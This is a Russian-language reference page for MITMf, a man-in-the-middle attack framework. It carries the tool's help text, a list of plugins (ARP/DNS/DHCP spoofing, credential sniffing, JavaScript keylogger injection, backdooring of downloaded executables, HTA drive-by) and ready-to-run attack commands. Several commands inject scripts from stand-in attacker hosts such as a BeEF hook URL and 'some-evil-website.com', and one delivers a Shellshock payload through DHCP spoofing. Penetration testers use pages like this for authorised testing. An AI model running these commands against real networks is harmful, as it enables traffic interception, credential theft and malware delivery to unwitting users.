You are here: Home » Sniffing и Spoofing » MITMf

MITMf

Описание MITMf

MITMf — это фреймвок для атак человек-посередине (Man-In-The-Middle attacks). Этот инструмент основывается на sergio-proxy и является попыткой возродить и обновить этот проект.

Описание

Цель MITMf — быть инструментом всё-в-одном для сетевых атак и атак человек-по-середине, при этом обновляя и усовершенствую существующие атаки и техники.

Первоначально будучи созданной для исправления значительных недостатков других инструментов (например, Ettercap, Mallory), программа была практически полностью переписана с нуля для обеспечения модульного и легко масштабируемого фреймворка, который каждый может использовать для реализации своих собственных атак MITM.

Особенности

  • Этот фреймворк содержит встроенные сервера SMB, HTTP и DNS, которые могут управляться и использоваться множеством плагинов, он также содержит модифицированную версию SSLStrip proxy, которая позволяет HTTP модификацию и частичный обход HSTS.
  • Начиная с версии 0.9.8, MITMf поддерживает активную фильтрацию пакетов и манипуляцию (в основном то, что делали etterfilters, только лучше), позволяя пользователям модифицировать любой вид трафика или протокола.
  • Конфигурационный файл может быть отредактирован на лету в то время когда MITMf запущен, изменения будут переданы во фреймворк: это позволяет вам делать тонкую настройку плагинов и сервера во время выполнения атаки.
  • MITMf будет захватывать FTP, IRC, POP, IMAP, Telnet, SMTP, SNMP (community strings), NTLMv1/v2 (все поддерживаемые протоколы вроде HTTP, SMB, LDAP и т.д.) и учётные данные Kerberos с использованием Net-Creds, который запускается при старте программы.
  • Интеграция с Responder позволяет LLMNR, NBT-NS и MDNS poisoning, а также поддержку жульнического сервера WPAD.

Активная фильтрация/модификация пакетов

Теперь вы можете модифицировать любой пакет/протокол, который перехвачен MITMf, используя Scapy! (больше никаких etterfilters! ура!)

Например, вот тупой маленький фильтр, который просто меняет IP адрес назначения ICMP пакетов:

if packet.haslayer(ICMP):
log.info('Got an ICMP packet!')
packet.dst = '192.168.1.0'
  • Используйте переменную пакета для доступа к пакету в Scapy совместимом формате
  • Используйте переменную данных для доступа к сырым данным пакета

Теперь для использование фильтра всё, что нам нужно сделать это: python mitmf.py -F ~/filter.py

Возможно вы захотите комбинировать это с плагином Spoof, чтобы в действительности перехватывать пакеты от кого-то ещё 😉

Примечание: вы можете изменять фильтры на лету без перезапуска MITMf!

Домашняя страница: https://github.com/byt3bl33d3r/MITMf

Автор byt3bl33d3r

Лицензия: GPLv3

Справка по MITMf

Использование:

mitmf.py -i интерфейс [опции mitmf] [имя плагина] [опции плагина]
необязательные аргументы:
  -h, --help            показать справку и выйти
  -v, --version         показать номер версии программы и выйти

MITMf:
  Опции для MITMf

  --log-level {debug,info}
                        Указать уровень лога [по умолчанию: info]
  -i INTERFACE          Интерфейс для прослушивания
  -c CONFIG_FILE        Указать конфигурационный файл для использования
  -p, --preserve-cache  Не убивать кэширования клиента/сервера
  -r READ_PCAP, --read-pcap READ_PCAP
                        Разобрать указанный pcap в поисках учётных данных и выйти
  -l PORT               Порт для прослушивания (по умолчанию 10000)
  -f, --favicon         Подставить иконку замка на безопасные запросы.
  -k, --killsessions    Убить работающую сессию.
  -F FILTER, --filter FILTER
                        Применить фильтр для входящего трафика

FilePwn:
  Используя bdfactory, заражает исполнимые файлы, пересылаемые через HTTP бэкдором

  --filepwn             Загрузить плагин 'FilePwn'

Inject:
  Инжект произвольного содержимого в HTML контент

  --inject              Загрузить плагин 'Inject'
  --js-url JS_URL       URL JS для инжекта
  --js-payload JS_PAYLOAD
                        JS строка для инжекта
  --js-file JS_FILE     Файл, содержащий JS для инжекта
  --html-url HTML_URL   URL HTML для инжекта
  --html-payload HTML_PAYLOAD
                        HTML строка для инжекта
  --html-file HTML_FILE
                        Файл, содержащий HTML для инжекта
  --per-domain          Вставить один раз на домен для одного клиента.
  --rate-limit RATE_LIMIT
                        Вставить один раз каждые RATE_LIMIT секунд на одного клиента.
  --count-limit COUNT_LIMIT
                        Вставить только COUNT_LIMIT раз на одного клиента.
  --white-ips IP        Вставить контент ТОЛЬКО для этих IP (разделять запятыми)
  --black-ips IP        НЕ вставлять содержимое для этих IP (разделять запятыми)
  --white-domains ДОМЕНЫ
                        Вставлять контент ТОЛЬКО для этих доменов (разделять запятыми)
  --black-domains ДОМЕНЫ
                        НЕ вставлять контент для этих доменов (разделять запятыми)

SMBAuth:
  Попытка вызвать SMB вызов-ответ аутентификации

  --smbauth             Загрузить плагин 'SMBAuth'

Ferret-NG:
  Захватывает кукиз и запускает прокси, которые будут скармливать их подключённым клиентам

  --ferretng            Загрузить плагин 'Ferret-NG'
  --port ПОРТ           Порт на котором запустить прокси Ferret-NG (по умолчанию 10010)
  --load-cookies FILE   Загрузить кукиз из лог файла

ScreenShotter:
  Использует HTML5 Canvas для отображения точного скриншота клиентских браузеров

  --screen              Загрузить плагин 'ScreenShotter'
  --interval СЕКУНДЫ    Интервал, через которые будут делаться скриншоты (по умолчанию 10 секунд)

AppCachePoison:
  Выполнение атак травления кэша приложений (App Cache Poisoning)

  --appoison            Загрузить плагин 'AppCachePoison'

ImageRandomizer:
  Заменить изображения на случайные из указанной директории

  --imgrand             Загрузить плагин 'ImageRandomizer'
  --img-dir DIRECTORY   Директория с изображениями

Spoof:
  Перенаправить/модифицировать трафик используя ICMP, ARP, DHCP или DNS

  --spoof               Загрузить плагин 'Spoof'
  --arp                 Перенаправить трафик используя ARP спуфинг
  --icmp                Перенаправить трафик используя ICMP редиректы
  --dhcp                Перенаправить трафик используя DHCP предложения
  --dns                 Прокси/Модифицировать DNS запросы
  --netmask NETMASK     Сетевая маска сети
  --shellshock PAYLOAD  Триггер для уязвимости Shellshock когда спуфится DHCP и выполняется специфичная команда
  --gateway GATEWAY     Указать IP шлюза
  --gatewaymac GATEWAYMAC
                        Указать MAC шлюза [автоматически преобразуется если пропущен]
  --targets ЦЕЛИ        Указать хост(ы) для травления [если пропущены, то по умолчанию подсеть]
  --ignore ИГНОР        Указать хосты(ы) которые не травить
  --arpmode {rep,req}   Режим ARP спуфинга: ответы (rep) или запросы (req) [по умолчанию: rep]

SSLstrip+:
  Включить SSLstrip+ для частичного обхода HSTS

  --hsts                Загрузить плагин 'SSLstrip+'

Captive Portal:
  Стать перехватывающим порталом!

  --captive             Загрузить плагин 'Captive Portal'
  --portalurl URL       Указать URL, где размещён портал, например, http://example.com.
  --portaldir LOCALDIR  Указать локальный путь, содержащий файлы портала, обрабатываемые с SimpleHTTPServer на другом порту (смотрите конфигурацию).
  --use-dns             Используем ли мы dns для обработки красивого URL captive.portal, используется без опций или с portaldir. Требует преобразования DNS для "captive.portal", например, через настроенный DNS спуфинг --dns.

SMBTrap:
  Эксплуатировать SMBTrap уязвимость на подключённых клиентах

  --smbtrap             Загрузить плагин 'SMBTrap'

BrowserProfiler:
  Попытаться перечислить все плагины браузера подключённых клиентов

  --browserprofiler     Загрузить плагин 'BrowserProfiler'

JSKeylogger:
  Инжект килогера javascript в веб-страницы клиентов

  --jskeylogger         Загрузить плагин 'JSKeylogger'

BrowserSniper:
  Выполняет атаки на клиенты легендой об устаревшем плагине браузера

  --browsersniper       Загрузить плагин 'BrowserSniper'

Responder:
  Травление LLMNR, NBT-NS и MDNS запросов

  --responder           Загрузить плагин 'Responder'
  --analyze             Позволяет вам видеть NBT-NS, BROWSER, LLMNR запросы без травления
  --wredir              Включает ответы для суффиксов запросов netbios wredir
  --nbtns               Включает ответы для суффиксов запросов доменов netbios
  --fingerprint         Отпечатки хостов, выпущенные на запрос NBT-NS или LLMNR
  --lm                  Принудительное понижение хэширования LM для Windows XP/2003 и более ранних
  --wpad                Запуск фальшивого прокси сервера WPAD
  --forcewpadauth       Принудительная NTLM/Basic аутентификация на восстановление файла wpad.dat (может вызвать приглашение входа)
  --basic               Возвращает базовую HTTP аутентификацию. Если не установлена, то будет возвращена аутентификация NTLM
HTA Drive-By:
  Выполнить атаку с HTA на клиентах

  --hta                 Загрузить плагин 'HTA Drive-By'
  --text TEXT           Текст для отображения на панели уведомлений
  --hta-app HTA_APP     Путь до приложения HTA [по умолчанию config/hta_driveby/flash_setup.hta]

Replace:
  Заменить произвольное содержимое в HTML контенте

  --replace             Загрузить плагин 'Replace'

Upsidedownternet:
  Flips images 180 degrees

  --upsidedownternet    Загрузить плагин 'Upsidedownternet'

Руководство по MITMf

Страница man отсутствует.

--log-level

Тип — трока, можно выбрать из 'debug', 'info', по умолчанию — "info". Описание: особый уровень ведения лога.

-i

Назначение — 'interface', требуется — да, тип — строка. Описание: интерфейс для прослушивания.

-c

Назначение — 'configfile', metavar="CONFIG_FILE", тип — строка, по умолчанию - "./config/mitmf.conf". Описание: задаёт конфигурационный файл который нужно использовать.

-p, --preserve-cache

Действие — "store_true". Описание: не убивать кэширование клиента/сервера.

-r, --read-pcap

Тип — строка. Описание: парсить заданный pcap на наличие учётных данных и выйти.

-l

Назначение — 'listen_port', тип — целое положительное число, metavar="PORT", по умолчанию=10000. Описание: порт для прослушивания (по умолчанию 10000).

-f, --favicon

Действие — "store_true". Описание: подставить замок вместо иконки сайта на безопасных запросах.

-k, --killsessions

Действие — "store_true". Описание: убить сессии в прогрессе.

-F, --filter

Тип — строка. Описание: применить фильтр к входящему трафику.

Примеры запуска MITMf

Наиболее базовое использование это запустить HTTP прокси, серверы SMB,DNS,HTTP и Net-Creds на интерфейсе enp3s0:

python mitmf.py -i enp3s0

ARP poison на всю подсеть со шлюзом 192.168.1.1 используя плагин Spoof:

python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1

То же самое как и выше + жульнический WPAD прокси сервер используя плагин Responder:

python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --responder --wpad

ARP poison 192.168.1.16-45 и 192.168.0.1/24 со шлюзом на 192.168.1.1:

python mitmf.py -i enp3s0 --spoof --arp --target 192.168.2.16-45,192.168.0.1/24 --gateway 192.168.1.1

Включить DNS спуфинг во время ARP poisoning (Домены для спуфинга беруться из конфигурационного файла):

python mitmf.py -i enp3s0 --spoof --dns --arp --target 192.168.1.0/24 --gateway 192.168.1.1

Включить спуфинг LLMNR/NBTNS/MDNS:

python mitmf.py -i enp3s0 --responder --wredir --nbtns

Включить сфуфинг DHCP (ip пул и подсеть берутся из конфигурационного файла):

python mitmf.py -i enp3s0 --spoof --dhcp

То же что и выше, но в нагрузку с ShellShock, который будет выполнен если какой-либо клиент уязвим:

python mitmf.py -i enp3s0 --spoof --dhcp --shellshock 'echo 0wn3d'

Инжект IFrame в HTML, используя плагин Inject:

python mitmf.py -i enp3s0 --inject --html-url http://some-evil-website.com

Инжект скрипта JavaSript:

python mitmf.py -i enp3s0 --inject --js-url http://beef:3000/hook.js

Запуск перехватывающего портала (captive portal), который перенаправляет всё на http://SERVER/PATH:

python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive --portalurl http://SERVER/PATH

Запустить перехватывающий портал на http://your-ip/portal.html используя страницей по умолчанию /portal.html (спасибо responder) и /CaptiveClient.exe (не приложен) из папки config/captive:

python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive

Как и выше, но с именем хоста captive.portal вместо IP (требует, чтобы captive.portal преобразовывался в ваш IP, например, через DNS спуфинг):

python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --dns --captive --use-dns

Перехватывающий портал с дополнительным экземпляром SimpleHTTPServer, работающим из LOCALDIR на http://IP:8080 (изменить порт в mitmf.config):

python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive --portaldir LOCALDIR

Как и выше, но с именем хоста:

python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --dns --captive --portaldir LOCALDIR --use-dns

И многое-многое другое!

Конечно вы можете использовать совместно и смешивать почти все плагины (например, ARP spoof + inject + Responder и т.д.)

Для полного списка опций просто запустите python mitmf.py --help

Установка MITMf

Установка н​а BlackArch

Программа предустановлена в BlackArch.

sudo pacman -S mitmf 
sudo mitmf --help

Или из исхоодников:

sudo pacman -S python-pip
sudo pip install virtualenvwrapper
source /usr/bin/virtualenvwrapper.sh
pacman -S mitmf python2-setuptools libnetfilter_queue libpcap libjpeg-turbo capstone
mkvirtualenv MITMf -p /usr/bin/python2.7
pip install requests[security]
cd /usr/share/mitmf/
pip install -r requirements.txt
cd
sudo python /usr/share/mitmf/mitmf.py --help

После перезагрузки запускайте так:

source /usr/bin/virtualenvwrapper.sh
mkvirtualenv MITMf -p /usr/bin/python2.7
sudo python /usr/share/mitmf/mitmf.py --help

Установка в Kali Linux

sudo apt-get install mitmf mitmflib
sudo mitmf --help

Или из исходников:

apt-get install python-dev python-setuptools libpcap0.8-dev libnetfilter-queue-dev libssl-dev libjpeg-dev libxml2-dev libxslt1-dev libcapstone3 libcapstone-dev libxml2-dev libxslt1-dev python-dnslib python-magic python-netfilterqueue python-ua-parser python-user-agents 
pip install virtualenvwrapper
source /usr/local/bin/virtualenvwrapper.sh
mkvirtualenv MITMf -p /usr/bin/python2.7
pip install requests[security]
git clone https://github.com/byt3bl33d3r/MITMf
cd MITMf && git submodule init && git submodule update --recursive
pip install -r requirements.txt
python mitmf.py --help

При последующих перезагрузках системы запускать так:

- переходите в каталог со скаченной программой, к примеру:

cd bin/MITMf/

Далее:

source /usr/local/bin/virtualenvwrapper.sh
mkvirtualenv MITMf -p /usr/bin/python2.7
python mitmf.py --help 

Установка в Debian, Mint, Ubuntu (а также в Kali Linux, если вы работаете под обычным пользователем)

sudo apt-get install python-dev python-setuptools libpcap0.8-dev libnetfilter-queue-dev libssl-dev libjpeg-dev libxml2-dev libxslt1-dev python-pip git libxml2-dev libxslt1-dev libffi-dev libjpeg-dev libffi-dev libssl-dev libnfnetlink* libnetfilter-queue-dev
sudo pip install capstone
sudo pip install virtualenvwrapper
sudo -s
source /usr/local/bin/virtualenvwrapper.sh
mkvirtualenv MITMf -p /usr/bin/python2.7
sudo pip install requests[security]
git clone https://github.com/byt3bl33d3r/MITMf
cd MITMf && git submodule init && git submodule update --recursive
pip install -r requirements.txt
python mitmf.py --help

При последующих перезагрузках системы запускать так:

- переходите в каталог со скаченной программой, к примеру:

cd bin/MITMf/

Далее:

sudo -s
source /usr/local/bin/virtualenvwrapper.sh
mkvirtualenv MITMf -p /usr/bin/python2.7
sudo python mitmf.py --help

Скриншоты MITMf

Это утилита командной строки.

Доступные в настоящий момент плагины MITMf

  • HTA Drive-By : Вставляет фальшивое уведомление об обновлении и предлагает клиенту загрузить HTA приложение
  • SMBTrap : Эксплуатирует уязвимость 'SMB Trap' на подключённом клиенте
  • ScreenShotter : Использует HTML5 Canvas для рендера точного скриншота клиентского браузера
  • Responder : LLMNR, NBT-NS, WPAD и MDNS отравитель
  • SSLstrip+ : Частичный обход HSTS
  • Spoof : Редирект трафика используя ARP, ICMP, DHCP и DNS сфуфинг
  • BeEFAutorun : Автозапуск BeEF модулей, основываясь на типе ОС или браузера клиента
  • AppCachePoison : Выполняет HTML5 App-Cache poisoning атаки
  • Ferret-NG : Незаметно перехватывает (hijack) сессии клиента
  • BrowserProfiler : Пытается перебрать все плагины браузера клиента
  • FilePwn : Заражает бэкдорами исполнимые файлы, отправляемые через HTTP, используя Backdoor Factory и BDFProxy
  • Inject : Вставка произвольного содержимого в HTML контент
  • BrowserSniper : Выполняет атаки drive-by на клиентах с устаревшими плагинами браузера
  • JSkeylogger : Вставляет Javascript килоггер в веб-страницы клиента
  • Replace : Заменяет произвольный контент в HTML контенте
  • SMBAuth : Выызвает приглашение аутентификации SMB
  • Upsidedownternet : Переворачивает изображения на 180 градусов
  • Captive : Создаёт перехватывающий портал (captive portal), перенаправляя HTTP запросы используя 302

Инструкции по MITMf

Близкие программы:

Рекомендуемые статьи: